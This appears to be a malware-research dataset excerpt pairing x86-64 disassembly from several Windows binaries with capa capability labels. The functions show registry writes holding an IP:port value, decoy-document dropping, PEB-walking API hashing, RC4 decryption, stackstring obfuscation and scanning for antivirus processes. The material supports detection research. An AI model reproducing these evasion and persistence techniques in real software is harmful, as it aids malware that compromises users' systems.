joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140116ffc
Capabilities:
Delete registry value
Set registry value

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
lea rbp, [rsp - 0x60]
sub rsp, 0x160
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0x104
call fcn.14011b160
mov r8d, 0x104
lea rdx, [rsp + 0x50]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov al, byte [0x14014bcc8]
lea rdx, str.Console
movsd xmm0, qword [str.SelfPath]
mov r9d, 0x20006
mov byte [rsp + 0x48], al
xor r8d, r8d
movzx eax, word [0x14014bee8]
mov rcx, 0xffffffff80000001
mov word [rsp + 0x38], ax
mov al, byte [0x14014beea]
mov byte [rsp + 0x3a], al
lea rax, [rbp + 0x70]
movsd qword [rsp + 0x40], xmm0
movsd xmm0, qword [str.IpDateInfo]
mov qword [rsp + 0x20], rax
movsd qword [rsp + 0x30], xmm0
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor ebx, ebx
test eax, eax
jne 0x140117128
mov rcx, qword [rbp + 0x70]
lea rdx, str.IpDate
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov rcx, qword [rbp + 0x70]
lea rdx, [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov rcx, qword [rbp + 0x70]
lea rax, [rsp + 0x50]
mov dword [rsp + 0x28], 0x104
lea r9d, [rbx + 1]
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, str.i:154.82.73.63p:5689
or rax, 0xffffffffffffffff
inc rax
cmp word [rcx + rax*2], bx
jne 0x1401170f2
add eax, eax
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x28], eax
mov r9d, 3
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rcx, qword [rbp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbx, qword [rsp + 0x178]
add rsp, 0x160
pop rbp
ret
Function at 0x140117148
Capabilities:
Create process on windows
Delete file
Get common file path

Disassembly:
mov rax, rsp
push rbp
lea rbp, reloc.SHELL32.dll_IsUserAnAdmin
sub rsp, 0x3a0
mov qword [rsp + 0x60], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov edi, 0x104
mov r8d, edi
xor edx, edx
lea rcx, [rbp + 0x190]
call fcn.14011b160
lea rdx, [rbp + 0x190]
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
dec eax
cmp eax, 0x103
ja 0x1401172f8
mov r8d, edi
xor edx, edx
lea rcx, [rbp + 0x80]
call fcn.14011b160
lea r9, str.dome.doc
lea r8, [rbp + 0x190]
lea rdx, str._s_s
lea rcx, [rbp + 0x80]
call fcn.14011785c
lea rdx, [rbp + 0x80]
lea rcx, [rsp + 0x40]
call fcn.140001cd4
nop
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x70]
call fcn.140001dcc
mov rax, qword [rsp + 0x70]
movsxd rax, dword [rax + 4]
mov ebx, dword [rbp + rax - 0x80]
lea rcx, [rbp + 0x20]
call fcn.140001d4c
nop
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x20], rax
lea rcx, [rbp + 0x20]
call fcn.140118204
nop
test ebx, ebx
jne 0x140117239
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
and qword [rsp + 0x30], 0
mov eax, 2
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x10000000
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
je 0x1401172bf
mov r8, rdi
xor edx, edx
lea rcx, [rsp + 0x70]
call fcn.14011b160
lea r8, [rsp + 0x70]
xor edx, edx
lea rcx, [rbp + 0x80]
call qword [sym.imp.SHELL32.dll_FindExecutableA]
cmp rax, 0x20
jbe 0x1401172a5
mov edx, 5
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_WinExec]
jmp 0x1401172bf
xor r9d, r9d
lea r8, str.Error
lea rdx, str.Open_The_Document_Fail
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x1401172f8
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401172f3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14011730d
call fcn.14011948c
lea r11, [rsp + 0x3a0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
call fcn.140120bf8
int3
Function at 0x140117314
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x20], rbx
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov rax, qword gs:[0x30]
xor ebx, ebx
xor r9d, r9d
mov rdx, qword [rax + 0x60]
mov rax, qword [rdx + 0x18]
mov rdx, qword [rax + 0x10]
mov rax, qword [rdx]
mov rdx, qword [rax]
mov r10, qword [rdx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov edx, dword [rax + r10 + 0x88]
add rdx, r10
mov eax, dword [rdx + 0x14]
mov r14d, dword [rdx + 0x1c]
mov r13d, dword [rdx + 0x20]
add r14, r10
mov r12d, dword [rdx + 0x24]
add r13, r10
mov r8d, dword [rdx + 0x18]
add r12, r10
mov dword [rsp + 0x48], r8d
mov qword [rsp + 0x50], rax
test rax, rax
je 0x1401173fa
movzx ecx, word [0x1401adeb0]
cmp dword [r14 + r9*4], 0
je 0x1401173f2
mov ebp, r8d
xor r8d, r8d
test rbp, rbp
je 0x1401173ed
movzx esi, word [r12 + r8*2]
cmp rsi, r9
jne 0x1401173e0
mov r11d, dword [r13 + r8*4]
add r11, r10
xor edi, edi
jmp 0x1401173cb
mov edx, edi
mov eax, edi
shl eax, 0x19
shr edx, cl
mov edi, edx
or edi, eax
movsx eax, r15b
add edi, eax
inc r11
mov r15b, byte [r11]
test r15b, r15b
jne 0x1401173b5
cmp edi, dword [rsp + 0x40]
jne 0x1401173e0
mov ebx, dword [r14 + rsi*4]
add rbx, r10
inc r8
cmp r8, rbp
jb 0x14011739f
mov rax, qword [rsp + 0x50]
mov r8d, dword [rsp + 0x48]
inc r9
cmp r9, rax
jb 0x14011738d
mov rax, rbx
mov rbx, qword [rsp + 0x58]
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x14011775c
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x430
cmp dword [0x1402adb9c], 3
mov rbx, rcx
movsxd r14, edx
mov ebp, r14d
jne 0x14011782c
xor edi, edi
lea rcx, str.jason
mov qword [rax - 0x18], rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r8d, eax
lea rcx, [rsp + 0x20]
call fcn.1401178b0
mov r8d, r14d
lea rcx, [rsp + 0x20]
mov rdx, rbx
call fcn.140117948
test r14d, r14d
je 0x1401177d4
mov rax, rbx
mov ecx, ebp
xor byte [rax], 0x86
inc rax
sub rcx, 1
jne 0x1401177c8
mov rcx, rbp
call fcn.1401197b0
mov rsi, rax
test rax, rax
je 0x1401177f6
mov r8, rbp
xor edx, edx
mov rcx, rax
call fcn.14011b160
mov byte [rsi], dil
jmp 0x1401177f9
mov rsi, rdi
mov rcx, r14
sub rcx, 1
js 0x14011783c
lea rdx, [rcx + rsi]
mov al, byte [rdi + rbx]
inc rdi
mov byte [rdx], al
dec rdx
cmp rdi, rcx
jle 0x140117806
sub rsi, rbx
inc rcx
mov al, byte [rsi + rbx]
mov byte [rbx], al
inc rbx
sub rcx, 1
jne 0x14011781c
jmp 0x14011783c
test edx, edx
je 0x14011783c
xor byte [rbx], 0x86
inc rbx
sub rbp, 1
jne 0x140117830
lea r11, [rsp + 0x430]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
Function at 0x1401178b0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
mov qword [rsp + 8], rbx
xor r9d, r9d
mov ebx, r8d
mov r10, rcx
test r8d, r8d
je 0x14011793f
mov eax, r9d
movd xmm0, eax
add eax, 4
pshufd xmm0, xmm0, 0
paddd xmm0, xmmword [0x1402a8560]
movdqu xmmword [rcx], xmm0
lea rcx, [rcx + 0x10]
cmp eax, 0x100
jl 0x1401178c6
mov r11d, r9d
mov r8, r10
xor edx, edx
mov eax, r11d
div ebx
lea rax, str.jason
movzx eax, byte [rdx + rax]
add r9d, eax
add r9d, dword [r8]
and r9d, 0x800000ff
jge 0x14011791d
dec r9d
or r9d, 0xffffff00
inc r9d
movzx ecx, byte [r8]
inc r11d
movsxd rdx, r9d
mov eax, dword [r10 + rdx*4]
mov dword [r8], eax
add r8, 4
mov dword [r10 + rdx*4], ecx
cmp r11d, 0x100
jl 0x1401178ef
mov rbx, qword [rsp + 8]
ret

Function at 0x140117948
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov r10, rdx
mov r9, rcx
test r8d, r8d
je 0x1401179f8
mov r11d, r8d
mov eax, dword [r9 + 0x400]
inc eax
and eax, 0x800000ff
jge 0x140117973
dec eax
or eax, 0xffffff00
inc eax
movsxd r8, eax
mov dword [r9 + 0x400], eax
mov eax, dword [r9 + r8*4]
add eax, dword [r9 + 0x404]
and eax, 0x800000ff
jge 0x140117998
dec eax
or eax, 0xffffff00
inc eax
mov dword [r9 + 0x404], eax
movzx edx, byte [r9 + r8*4]
cdqe
mov ecx, dword [r9 + rax*4]
mov dword [r9 + r8*4], ecx
movsxd rax, dword [r9 + 0x404]
mov dword [r9 + rax*4], edx
movsxd rax, dword [r9 + 0x404]
movsxd rcx, dword [r9 + 0x400]
mov edx, dword [r9 + rax*4]
add edx, dword [r9 + rcx*4]
and edx, 0x800000ff
jge 0x1401179e1
dec edx
or edx, 0xffffff00
inc edx
movsxd rax, edx
mov cl, byte [r9 + rax*4]
xor byte [r10], cl
inc r10
sub r11, 1
jne 0x14011795a
ret
Function at 0x1401179fc
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Contain obfuscated stackstrings
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x80
lea rdx, [rbp - 0x38]
mov dword [rbp - 0x38], 0x6f0053
mov dword [rbp - 0x34], 0x740066
mov dword [rbp - 0x30], 0x610077
mov dword [rbp - 0x2c], 0x650072
mov dword [rbp - 0x28], 0x54005c
mov dword [rbp - 0x24], 0x6e0065
mov dword [rbp - 0x20], 0x650063
mov dword [rbp - 0x1c], 0x74006e
mov dword [rbp - 0x18], 0x57005c
mov dword [rbp - 0x14], 0x430065
mov dword [rbp - 0x10], 0x610068
mov dword [rbp - 0xc], 0x74
mov dword [rbp - 0x60], 0x6f0053
mov dword [rbp - 0x5c], 0x740066
mov dword [rbp - 0x58], 0x610077
mov dword [rbp - 0x54], 0x650072
mov dword [rbp - 0x50], 0x44005c
mov dword [rbp - 0x4c], 0x6e0069
mov dword [rbp - 0x48], 0x540067
mov dword [rbp - 0x44], 0x6c0061
mov dword [rbp - 0x40], 0x6b
call fcn.140001c10
test eax, eax
jne 0x140117ae2
lea rdx, [rbp - 0x60]
call fcn.140001c10
test eax, eax
jne 0x140117ae2
lea rdx, str.Error
xor r9d, r9d
mov r8, rdx
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x140117b1e
call qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
jne 0x140117b19
lea r8, str.TEST
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
test rax, rax
je 0x140117b19
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x140117b19
or ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.140003afc
jmp 0x140117b1e

Function at 0x1401251e8
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14012500c
Function at 0x1400010d0
Capabilities:
Encode data using xor
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push rbp
push r12
sub rsp, 0x138
mov eax, 0x5a4d
mov r12d, edx
mov rbp, rcx
cmp word [rcx], ax
je 0x140001104
lea rcx, str.Not_a_Valid_Dos_header
call fcn.140001070
xor eax, eax
add rsp, 0x138
pop r12
pop rbp
ret
movsxd rax, dword [rcx + 0x3c]
add rax, rbp
cmp dword [rax], 0x4550
je 0x14000112c
lea rcx, str.Not_a_Valid_NT_Header
call fcn.140001070
xor eax, eax
add rsp, 0x138
pop r12
pop rbp
ret
movups xmm0, xmmword [rax + 0x18]
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x158], rbx
movups xmm1, xmmword [rax + 0x28]
mov qword [rsp + 0x130], rsi
xor esi, esi
movups xmmword [rcx], xmm0
mov qword [rsp + 0x128], rdi
movups xmm0, xmmword [rax + 0x38]
mov qword [rsp + 0x120], r13
movups xmmword [rcx + 0x10], xmm1
mov qword [rsp + 0x118], r14
movups xmm1, xmmword [rax + 0x48]
mov qword [rsp + 0x110], r15
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x68]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x78]
movups xmmword [rcx + 0x50], xmm1
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax + 0x88]
sub rax, 0xffffffffffffff68
movups xmmword [rcx - 0x10], xmm0
movups xmm1, xmmword [rax]
movups xmm0, xmmword [rax + 0x10]
movups xmmword [rcx], xmm1
movups xmm1, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm0
movups xmm0, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm1
movups xmm1, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm0
movups xmm0, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm1
movups xmm1, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm0
movups xmmword [rcx + 0x60], xmm1
mov r15d, dword [rsp + 0x90]
add r15, rbp
mov eax, dword [r15 + 0x1c]
mov r13d, dword [r15 + 0x20]
add rax, rbp
mov qword [rsp + 0x160], rax
add r13, rbp
mov eax, dword [r15 + 0x24]
add rax, rbp
mov qword [rsp + 0x150], rax
cmp dword [r15 + 0x14], esi
jbe 0x140001278
nop
mov edi, dword [r13 + rsi*4]
xor ebx, ebx
add rdi, rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenA]
xor ecx, ecx
movsxd rdx, eax
test eax, eax
je 0x14000125b
nop dword [rax]
movsx eax, byte [rdi + rcx]
inc rcx
add eax, ebx
imul ebx, eax, 0x81
mov eax, ebx
shr eax, 6
xor ebx, eax
cmp rcx, rdx
jne 0x140001240
lea eax, [rbx + rbx*8]
mov ecx, eax
shr ecx, 0xb
xor ecx, eax
imul eax, ecx, 0x8001
cmp r12d, eax
je 0x1400012b5
inc esi
cmp esi, dword [r15 + 0x14]
jb 0x140001220
xor eax, eax
mov r14, qword [rsp + 0x118]
mov r13, qword [rsp + 0x120]
mov rdi, qword [rsp + 0x128]
mov rsi, qword [rsp + 0x130]
mov rbx, qword [rsp + 0x158]
mov r15, qword [rsp + 0x110]
add rsp, 0x138
pop r12
pop rbp
ret
mov rax, qword [rsp + 0x150]
mov rcx, qword [rsp + 0x160]
movzx eax, word [rax + rsi*2]
mov eax, dword [rcx + rax*4]
add rax, rbp
jmp 0x14000127a
Function at 0x1400110f0
Capabilities:
Write file on windows

Disassembly:
jmp 0x14001bb50
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x140034066]
call fcn.140011889
mov rax, qword [rbp + 0x120]
cmp qword [rax + 0x68], 0
je 0x14001bba7
mov r8, qword [rbp + 0x130]
mov rdx, qword [rbp + 0x128]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x14001bcb3
mov rax, qword [rbp + 0x130]
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const___ptr64]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x130], 0
jle 0x14001bc4c
cmp qword [rbp + 0x28], 0
jle 0x14001bc4c
mov rax, qword [rbp + 0x28]
cmp qword [rbp + 0x130], rax
jge 0x14001bbec
mov rax, qword [rbp + 0x130]
mov qword [rbp + 0x28], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
mov r8, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x128]
mov rcx, rax
call fcn.140011816
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x128]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x128], rax
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x130]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x130], rax
mov edx, dword [rbp + 0x28]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int____ptr64]
cmp qword [rbp + 0x130], 0
jle 0x14001bca2
mov rax, qword [rbp + 0x120]
cmp qword [rax + 0x80], 0
je 0x14001bca2
mov rax, qword [rbp + 0x120]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x130]
mov edx, 1
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.ucrtbased.dll_fwrite]
mov rcx, qword [rbp + 0x130]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x130], rax
mov rax, qword [rbp + 0x130]
mov rcx, qword [rbp + 8]
sub rcx, rax
mov rax, rcx
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret

Function at 0x1400114dd
Capabilities:
Terminate process

Disassembly:
jmp 0x14001e7e0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x1400115f0
Capabilities:
Execute command
Terminate process

Disassembly:
jmp 0x14001bd30
push rbp
push rdi
sub rsp, 0x3d8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x8a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14002d040]
xor rax, rbp
mov qword [rbp + 0x398], rax
lea rcx, [0x140034069]
call fcn.140011889
xor ecx, ecx
call fcn.14001bf30
mov ecx, eax
call qword [sym.imp.ucrtbased.dll_srand]
lea rdx, [0x1400281b2]
lea rcx, [rbp + 8]
call fcn.1400113ca
nop
mov dword [rbp + 0x44], 0
jmp 0x14001bd9e
mov eax, dword [rbp + 0x44]
inc eax
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0x10
jge 0x14001bdf6
call qword [sym.imp.ucrtbased.dll_rand]
cdq
mov ecx, 0xa
idiv ecx
mov eax, edx
mov edx, eax
lea rcx, [rbp + 0x358]
call fcn.140011113
mov qword [rbp + 0x388], rax
mov rax, qword [rbp + 0x388]
mov qword [rbp + 0x390], rax
mov rdx, qword [rbp + 0x390]
lea rcx, [rbp + 8]
call fcn.140011208
nop
lea rcx, [rbp + 0x358]
call fcn.1400111a4
jmp 0x14001bd96
lea r8, [rbp + 8]
lea rdx, [0x14002827c]
lea rcx, [rbp + 0x68]
call fcn.14001105a
nop
mov edx, 0x108
lea rcx, [rbp + 0xb0]
call fcn.140011361
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0x12
lea rdx, str.steam_settings_force_steamid.txt
lea rcx, [rbp + 0xb0]
call fcn.140011348
nop
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0xb0]
call fcn.1400117bc
lea rcx, [rbp + 0xb0]
call fcn.140011483
lea rcx, str.start_hl.exe
call qword [sym.imp.ucrtbased.dll_system]
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
nop
lea rcx, [rbp + 0xb0]
call fcn.14001122b
lea rcx, [rbp + 0x68]
call fcn.1400111a4
lea rcx, [rbp + 8]
call fcn.1400111a4
lea rcx, [rbp - 0x30]
lea rdx, [0x1400271a0]
call fcn.140011726
nop
mov rcx, qword [rbp + 0x398]
xor rcx, rbp
call fcn.140011433
lea rsp, [rbp + 0x3a8]
pop rdi
pop rbp
ret

Function at 0x14001160e
Capabilities:
Parse pe header

Disassembly:
jmp 0x14001f310
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14001f330
xor al, al
jmp 0x14001f3b1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14001f343
xor al, al
jmp 0x14001f3b1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001f36d
xor al, al
jmp 0x14001f3b1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14001f381
xor al, al
jmp 0x14001f3b1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14001f393
xor al, al
jmp 0x14001f3b1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001f3af
xor al, al
jmp 0x14001f3b1
mov al, 1
add rsp, 0x38
ret
Function at 0x140011870
Capabilities:
Write file on windows

Disassembly:
jmp 0x140018370
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1a8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x2e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1c8]
mov rax, qword [0x14002d040]
xor rax, rbp
mov qword [rbp + 0x168], rax
lea rcx, [0x140034066]
call fcn.140011889
mov rax, qword [rbp + 0x190]
cmp qword [rax + 0x68], 0
je 0x1400183d6
mov rax, qword [rbp + 0x190]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x1400183dd
mov al, 1
jmp 0x14001852d
call fcn.14001126c
mov rcx, qword [rbp + 0x190]
mov rcx, qword [rcx]
mov qword [rbp + 0x158], rcx
mov edx, eax
mov rcx, qword [rbp + 0x190]
mov rax, qword [rbp + 0x158]
call qword [rax + 0x18]
mov dword [rbp + 0x160], eax
call fcn.14001126c
mov ecx, dword [rbp + 0x160]
mov edx, ecx
mov ecx, eax
call fcn.1400116d1
movzx eax, al
test eax, eax
je 0x14001842e
xor al, al
jmp 0x14001852d
mov qword [rbp + 8], 0x20
lea rax, [rbp + 0x48]
mov rcx, qword [rbp + 0x190]
add rcx, 0x74
lea rdx, [rbp + 0x68]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rbp + 0x28]
mov rdx, rcx
mov rax, qword [rbp + 0x190]
mov rcx, qword [rax + 0x68]
call qword [sym.imp.MSVCP140D.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
mov dword [rbp + 0x154], eax
cmp dword [rbp + 0x154], 0
je 0x140018493
cmp dword [rbp + 0x154], 1
je 0x14001849e
cmp dword [rbp + 0x154], 3
je 0x14001851c
jmp 0x14001852b
mov rax, qword [rbp + 0x190]
mov byte [rax + 0x71], 0
lea rax, [rbp + 0x28]
mov rcx, qword [rbp + 0x68]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jbe 0x1400184ee
mov rax, qword [rbp + 0x190]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x88]
mov edx, 1
lea rcx, [rbp + 0x28]
call qword [sym.imp.ucrtbased.dll_fwrite]
cmp qword [rbp + 0x88], rax
je 0x1400184ee
xor al, al
jmp 0x14001852d
mov rax, qword [rbp + 0x190]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x140018509
mov dword [rbp + 0x154], 1
jmp 0x140018513
mov dword [rbp + 0x154], 0
movzx eax, byte [rbp + 0x154]
jmp 0x14001852d
mov rax, qword [rbp + 0x190]
mov byte [rax + 0x71], 0
mov al, 1
jmp 0x14001852d
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x140027890]
call fcn.140011726
mov rax, rdi
mov rcx, qword [rbp + 0x168]
xor rcx, rbp
call fcn.140011433
lea rsp, [rbp + 0x178]
pop rdi
pop rbp
ret
Function at 0x140001070
Capabilities:
Enumerate processes

Disassembly:
push rbp
push rbx
push rdi
push r13
lea rbp, [rsp - 0x88]
sub rsp, 0x188
lea rax, str.MsMpEng.exe
xor edx, edx
mov qword [rsp + 0x20], rax
xor r13d, r13d
lea rax, str.elastic_endpoint.exe
mov dword [rbp + 0xb0], r13d
mov qword [rsp + 0x28], rax
lea rax, str.process1.exe
mov qword [rsp + 0x30], rax
lea ecx, [rdx + 2]
lea rax, str.process2.exe
mov qword [rsp + 0x38], rax
lea rax, str.process3.exe
mov qword [rsp + 0x40], rax
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140001105
lea ecx, [rax + 3]
call fcn.140003068
mov rcx, rax
lea rdx, str.Fehler:_CreateToolhelp32Snapshot__von_Prozessen__fehlgeschlagen._n
call fcn.1400012d0
lea eax, [rdi + 2]
add rsp, 0x188
pop r13
pop rdi
pop rbx
pop rbp
ret
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x50], 0x130
mov rcx, rdi
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x140001150
lea ecx, [rax + 2]
call fcn.140003068
mov rcx, rax
lea rdx, str.Fehler:_Process32First_fehlgeschlagen._n
call fcn.1400012d0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
add rsp, 0x188
pop r13
pop rdi
pop rbx
pop rbp
ret
mov qword [rsp + 0x1b8], rsi
mov ebx, 1
movzx esi, byte [rbp + 0xb0]
mov qword [rsp + 0x1c0], r12
movzx r12d, byte [rbp + 0xb3]
mov qword [rsp + 0x1c8], r14
movzx r14d, byte [rbp + 0xb1]
mov qword [rsp + 0x180], r15
movzx r15d, byte [rbp + 0xb2]
lea rdx, str.MsMpEng.exe
lea rcx, [rsp + 0x7c]
call fcn.140004790
test eax, eax
movzx esi, sil
lea rdx, str.elastic_endpoint.exe
cmove esi, ebx
lea rcx, [rsp + 0x7c]
mov byte [rbp + 0xb0], sil
call fcn.140004790
test eax, eax
movzx r14d, r14b
lea rdx, str.process1.exe
cmove r14d, ebx
lea rcx, [rsp + 0x7c]
mov byte [rbp + 0xb1], r14b
call fcn.140004790
test eax, eax
movzx r15d, r15b
lea rdx, str.process2.exe
cmove r15d, ebx
lea rcx, [rsp + 0x7c]
mov byte [rbp + 0xb2], r15b
call fcn.140004790
test eax, eax
movzx r12d, r12b
lea rdx, str.process3.exe
cmove r12d, ebx
lea rcx, [rsp + 0x7c]
mov byte [rbp + 0xb3], r12b
call fcn.140004790
movzx ecx, r13b
lea rdx, [rsp + 0x50]
test eax, eax
cmove ecx, ebx
movzx r13d, cl
mov byte [rbp + 0xb4], cl
mov rcx, rdi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x140001194
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r15, qword [rsp + 0x180]
xor ebx, ebx
mov r14, qword [rsp + 0x1c8]
mov r12, qword [rsp + 0x1c0]
mov rsi, qword [rsp + 0x1b8]
nop
cmp byte [rbp + rbx + 0xb0], 0
je 0x14000129b
mov rdx, qword [rsp + rbx*8 + 0x20]
lea rcx, str._s_FOUND._n
